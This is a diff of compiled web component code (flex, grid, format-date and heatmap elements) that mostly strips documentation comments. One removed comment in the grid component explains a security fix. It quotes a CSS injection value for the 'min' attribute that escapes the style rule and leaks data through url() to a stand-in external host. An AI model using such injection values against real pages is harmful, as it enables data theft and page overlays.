  import { property } from 'lit/decorators.js';
10
10
  import { styles } from './flex-root.css.js';
11
- /**
12
- * @summary Lays children out in a row or a column.
13
- *
14
- * @description
15
- * The host is the flex container itself and the only child is a slot, so the
16
- * element adds no box of its own: `<helix-flex>` costs exactly the `<div>` it
17
- * replaces.
18
- *
19
- * There is no separate Stack. A stack is this with `direction="column"`, and a
20
- * second element whose whole definition is one default of the first is a name
21
- * to learn rather than a capability to gain.
22
- *
23
- * Gap takes a space token name rather than a length, so spacing stays on the
24
- * scale. A layout that can say `gap="13px"` is one that will.
25
- *
26
- * Presentation only, so there is no headless tier: the split exists to keep
27
- * behavior separate from styling, and this is entirely styling.
28
- *
29
- * @since 0.1.0
30
- * @status stable
31
- * @category layout
32
- * @aliases Stack, Row, Column, HStack, VStack
33
- * @documentation https://helix.fusion.dev/components/flex
34
- *
35
- * @slot - The items to lay out.
36
- */
37
11
  let HelixFlex = class HelixFlex extends HelixElement {
38
12
  constructor() {
39
13
  super(...arguments);
40
- /**
41
- * Flows with surrounding text instead of taking the full width.
42
- */
43
14
  this.inline = false;
44
- /**
45
- * Whether items wrap onto more lines.
46
- */
47
15
  this.wrap = false;
48
16
  }
49
17
  render() {
@@ -1,4 +1,3 @@
1
- // Generated from src/format-date/root/format-date-root.css by `turbo run styles`. Do not edit.
2
1
  import { createSheet } from '@fusion.dev/helix-core';
3
2
  export const styles = createSheet(`:host {
4
3
  display: inline;
@@ -7,23 +7,6 @@ var __decorate = (this && this.__decorate) || function (decorators, target, key,
7
7
  import { customElement } from '@fusion.dev/helix-core';
8
8
  import { HelixHeadlessFormatDate } from '@fusion.dev/helix-headless/format-date';
9
9
  import { styles } from './format-date-root.css.js';
10
- /**
11
- * @summary A timestamp, written the way the reader's locale writes one.
12
- *
13
- * @description
14
- * The base tier does the reading; this adds the one thing a design system has to
15
- * say about it. A timestamp takes the family, size and color of the text around
16
- * it, so almost nothing here is a decision. The exception is figures: an elapsed
17
- * reading counts up under the reader, and proportional digits move the trailing
18
- * edge as it does, which in a feed is a whole column shifting whenever any row
19
- * in it ticks over. `tabular-nums` in that mode and not in the other, because a
20
- * date is written once and should sit in the text like the text.
21
- *
22
- * @since 0.1.0
23
- * @status experimental
24
- * @category typography
25
- * @documentation https://helix.fusion.dev/components/format-date
26
- */
27
10
  let HelixFormatDate = class HelixFormatDate extends HelixHeadlessFormatDate {
28
11
  static { this.tier = 'helix-'; }
29
12
  static { this.styles = styles; }
@@ -1,4 +1,3 @@
1
- // Generated from src/grid/root/grid-root.css by `turbo run styles`. Do not edit.
2
1
  import { createSheet } from '@fusion.dev/helix-core';
3
2
  export const styles = createSheet(`:host {
4
3
  display: grid;
@@ -8,82 +8,16 @@ import { customElement, HelixElement } from '@fusion.dev/helix-core';
8
8
  import { html } from 'lit';
9
9
  import { property } from 'lit/decorators.js';
10
10
  import { styles } from './grid-root.css.js';
11
- /**
12
- * @summary Lays children out on a grid.
13
- *
14
- * @description
15
- * Two ways to declare columns, and only two. `columns` is a fixed count;
16
- * `min` fills as many equal columns as fit above that width, which is a
17
- * responsive layout with no breakpoint to maintain. Setting `min` wins, because
18
- * a fixed count that also reflows is two intentions in one element.
19
- *
20
- * Presentation only, so there is no headless tier.
21
- *
22
- * @since 0.1.0
23
- * @status stable
24
- * @category layout
25
- * @aliases Layout, Columns
26
- * @documentation https://helix.fusion.dev/components/grid
27
- *
28
- * @slot - The items to lay out.
29
- *
30
- * @cssproperty --grid-columns - An explicit track list, which wins over `min` and `columns`. For a layout of unequal tracks, which neither attribute can say.
31
- */
32
11
  let HelixGrid = class HelixGrid extends HelixElement {
33
12
  constructor() {
34
13
  super(...arguments);
35
- /**
36
- * Minimum column width, filling as many as fit.
37
- *
38
- * Takes precedence over `columns`: a grid that both fixes a count and reflows
39
- * is two intentions in one element.
40
- */
41
14
  this.min = '';
42
15
  }
43
- /**
44
- * Writes the track list into the shadow root's own stylesheet.
45
- *
46
- * Into a `<style>` rather than onto `this.style`, and the difference is
47
- * hydration. An inline style on the host is an attribute the element gives
48
- * itself once it upgrades, so a React consumer's server markup does not have
49
- * it and hydration reports a mismatch it will not patch up. The shadow root
50
- * is not part of the tree React hydrates, so a rule written there is free.
51
- *
52
- * The element is filled imperatively because Lit refuses expressions inside
53
- * `<style>`: it is an invalid binding location and throws while rendering
54
- * rather than at build time. Hence a static, empty element in the template
55
- * and its `textContent` set here.
56
- *
57
- * It sets a custom property rather than the track list itself. A shadow
58
- * root's adopted stylesheets cascade *after* its own `<style>` elements, and
59
- * `static styles` is adopted, so a `grid-template-columns` here lost to the
60
- * one in the stylesheet and every `min` grid came out a single column. The
61
- * stylesheet only ever reads `--_grid-template`, so there is nothing to
62
- * lose against.
63
- *
64
- * The consequence is that a server-rendered grid falls back to the
65
- * stylesheet's single column until it upgrades. That is why `columns` is also
66
- * expressed as plain CSS below: the fixed-count case, which can be enumerated,
67
- * needs no JavaScript at all, and only `min` depends on this.
68
- */
69
16
  applyTemplate() {
70
17
  const sheet = this.renderRoot.querySelector('#template');
71
18
  if (!sheet) {
72
19
  return;
73
20
  }
74
- /* **`min` is checked against a length before it reaches a stylesheet, and
75
- that is a security fix rather than tidiness.** It is a public attribute
76
- and it was concatenated into a `<style>` element's text, so
77
- `min="1px,1fr)} :host{background:url(//elsewhere/?stolen)} @media all{"`
78
- closed the rule and wrote arbitrary CSS into this component's shadow
79
- root. That is enough to exfiltrate through `url()` and to lay an
80
- invisible plate over the page.
81
- *
82
- * `createSheet` says in its own documentation that consumer input must not
83
- * be interpolated into CSS, and this was the one place in the library that
84
- * did it. A pattern rather than an escape, because a length has a small,
85
- * known grammar and anything outside it is a mistake worth ignoring rather
86
- * than a string worth repairing. */
87
21
  const length = /^-?(?:\d+\.?\d*|\.\d+)(?:px|r?em|%|v[hw]|ch|ex|cm|mm|in|pt|pc|q)$/i;
88
22
  const min = this.min?.trim() ?? '';
89
23
  sheet.textContent =
@@ -91,9 +25,6 @@ let HelixGrid = class HelixGrid extends HelixElement {
91
25
  ? `:host { --_grid-template: repeat(auto-fit, minmax(min(${min}, 100%), 1fr)); }`
92
26
  : '';
93
27
  }
94
- /* `updated` alone, and never a `firstUpdated` beside it. Lit puts every
95
- initial property into the first `changed`, so the pair runs
96
- `applyTemplate` twice on every mount of a grid with a `min`. */
97
28
  updated(changed) {
98
29
  super.updated(changed);
99
30
  if (changed.has('min')) {
@@ -1,4 +1,3 @@
1
- // Generated from src/heatmap/root/heatmap-root.css by `turbo run styles`. Do not edit.
2
1
  import { createSheet } from '@fusion.dev/helix-core';
3
2
  export const styles = createSheet(`:host {
4
3
 
@@ -4,19 +4,17 @@ import type { CSSResultGroup } from 'lit';
4
4
  * @summary A strip of cells colored by how each one went: uptime, contributions, activity.
5
5
  *
6
6
  * @description
7
- * One grid, filled down the column and then across, which is what a calendar
8
- * heatmap is: a week is a column, so the strip reads left to right in weeks and
9
- * top to bottom in days. `rows="1"` makes it a single row without a second
10
- * layout.
7
+ * One grid, filled down the column then across: a week is a column, so the strip
8
+ * reads left to right in weeks and top to bottom in days. `rows="1"` makes it a
9
+ * single row.
11
10
  *
12
- * An empty cell takes the quietest ground the palette has rather than being
13
- * transparent. A strip of holes reads as a broken picture; a strip of empty
14
- * cells reads as a period with nothing in it, which is what it is.
11
+ * An empty cell takes the palette's quietest ground rather than being
12
+ * transparent, so a gap reads as a period with nothing in it rather than as a
13
+ * hole in the picture.
15
14
  *
16
- * **This tier is what a tone name is worth.** `tones="success"` and
17
- * `data-tone="danger"` reach the theme's status colors; `tones="1 2 3 4 5"`
18
- * reaches a five step ramp of one hue, which is the only thing a reader can
19
- * compare two cells by. Both are hooks, so a page may answer differently.
15
+ * `tones="success"` and `data-tone="danger"` reach the theme's status colors;
16
+ * `tones="1 2 3 4 5"` reaches a five-step ramp of one hue, which is the only
17
+ * thing two cells can be compared by.
20
18
  *
21
19
  * @since 0.1.0
22
20
  * @status experimental
@@ -7,83 +7,10 @@ var __decorate = (this && this.__decorate) || function (decorators, target, key,
7
7
  import { customElement } from '@fusion.dev/helix-core';
8
8
  import { HelixHeadlessHeatmap } from '@fusion.dev/helix-headless/heatmap';
9
9
  import { styles } from './heatmap-root.css.js';
10
- /**
11
- * @summary A strip of cells colored by how each one went: uptime, contributions, activity.
12
- *
13
- * @description
14
- * One grid, filled down the column and then across, which is what a calendar
15
- * heatmap is: a week is a column, so the strip reads left to right in weeks and
16
- * top to bottom in days. `rows="1"` makes it a single row without a second
17
- * layout.
18
- *
19
- * An empty cell takes the quietest ground the palette has rather than being
20
- * transparent. A strip of holes reads as a broken picture; a strip of empty
21
- * cells reads as a period with nothing in it, which is what it is.
22
- *
23
- * **This tier is what a tone name is worth.** `tones="success"` and
24
- * `data-tone="danger"` reach the theme's status colors; `tones="1 2 3 4 5"`
25
- * reaches a five step ramp of one hue, which is the only thing a reader can
26
- * compare two cells by. Both are hooks, so a page may answer differently.
27
- *
28
- * @since 0.1.0
29
- * @status experimental
30
- * @category charts
31
- * @documentation https://helix.fusion.dev/components/heatmap
32
- *
33
- * @slot - The `<table>` this draws, where it is not named by `for`.
34
- * @slot end - Below the strip, at the trailing edge.
35
- * @slot start - Below the strip, at the leading edge.
36
- * @slot summary - Below the strip, in the middle.
37
- *
38
- * @csspart cell - One reading.
39
- * @csspart footer - The three-slot row under the strip.
40
- * @csspart mark - The invisible point the tooltip is anchored to.
41
- * @csspart strip - The grid of cells.
42
- * @csspart tooltip - The bubble, forwarded from `Tooltip`.
43
- * @csspart tooltip-anchor - The `Tooltip` element itself.
44
- * @csspart tooltip-cell - One column's name and value inside the tooltip.
45
- * @csspart tooltip-label - The reading's own name inside the tooltip.
46
- * @csspart tooltip-name - A column's name inside the tooltip.
47
- * @csspart tooltip-value - A column's value inside the tooltip.
48
- *
49
- * @cssproperty --heatmap-cell-height - How tall a cell is. A row of a tall thin cell is what a status page draws.
50
- * @cssproperty --heatmap-cell-inline-size - How wide a cell is. The strip fits as many as the container allows.
51
- * @cssproperty --heatmap-cell-radius - How far a cell's corners are rounded.
52
- * @cssproperty --heatmap-cell-size - The size a cell wants on both axes, where neither is given its own.
53
- * @cssproperty --heatmap-gap - Space between cells. Zero is a continuous field rather than a grid of tiles.
54
- * @cssproperty --heatmap-tone-1 - The quietest step of the magnitude ramp, reached by `tones="1 …"`.
55
- * @cssproperty --heatmap-tone-2 - The second step of the magnitude ramp.
56
- * @cssproperty --heatmap-tone-3 - The third step of the magnitude ramp.
57
- * @cssproperty --heatmap-tone-4 - The fourth step of the magnitude ramp.
58
- * @cssproperty --heatmap-tone-5 - The loudest step of the magnitude ramp.
59
- * @cssproperty --heatmap-tone-accent - What `accent` is worth.
60
- * @cssproperty --heatmap-tone-danger - What `danger` is worth.
61
- * @cssproperty --heatmap-tone-info - What `info` is worth.
62
- * @cssproperty --heatmap-tone-muted - What `muted` is worth: the quiet ground, for a bucket that means nothing happened.
63
- * @cssproperty --heatmap-tone-primary - What `primary` is worth.
64
- * @cssproperty --heatmap-tone-success - What `success` is worth, as a name or a `data-tone`.
65
- * @cssproperty --heatmap-tone-warning - What `warning` is worth.
66
- */
67
10
  let HelixHeatmap = class HelixHeatmap extends HelixHeadlessHeatmap {
68
11
  constructor() {
69
12
  super(...arguments);
70
- /**
71
- * The first guess at what this sheet draws, before it has been measured.
72
- *
73
- * **Not a contract.** `fits()` reads the strip back rather than being told a
74
- * cell size by hand, so nothing has to be kept in step and
75
- * `--heatmap-cell-inline-size` on its own is enough. Told by hand, these sat
76
- * at the base tier's 8 and 2 against a sheet drawing 12 and 4, and the
77
- * arithmetic believed a cell cost 10 pixels where it cost 16: a ninety day
78
- * strip drew 940 pixels of cells into a 592 pixel box while `visible`
79
- * reported 59.
80
- *
81
- * These two remain because a measurement arrives one frame after the first
82
- * paint, and a first paint from numbers that match the sheet is one that does
83
- * not move.
84
- */
85
13
  this.gap = 4;
86
- /** The drawn cell width, for the reason `gap` is the drawn gap. `0.75rem` at the root font size. */
87
14
  this.minCell = 12;
88
15
  }
89
16
  static { this.tier = 'helix-'; }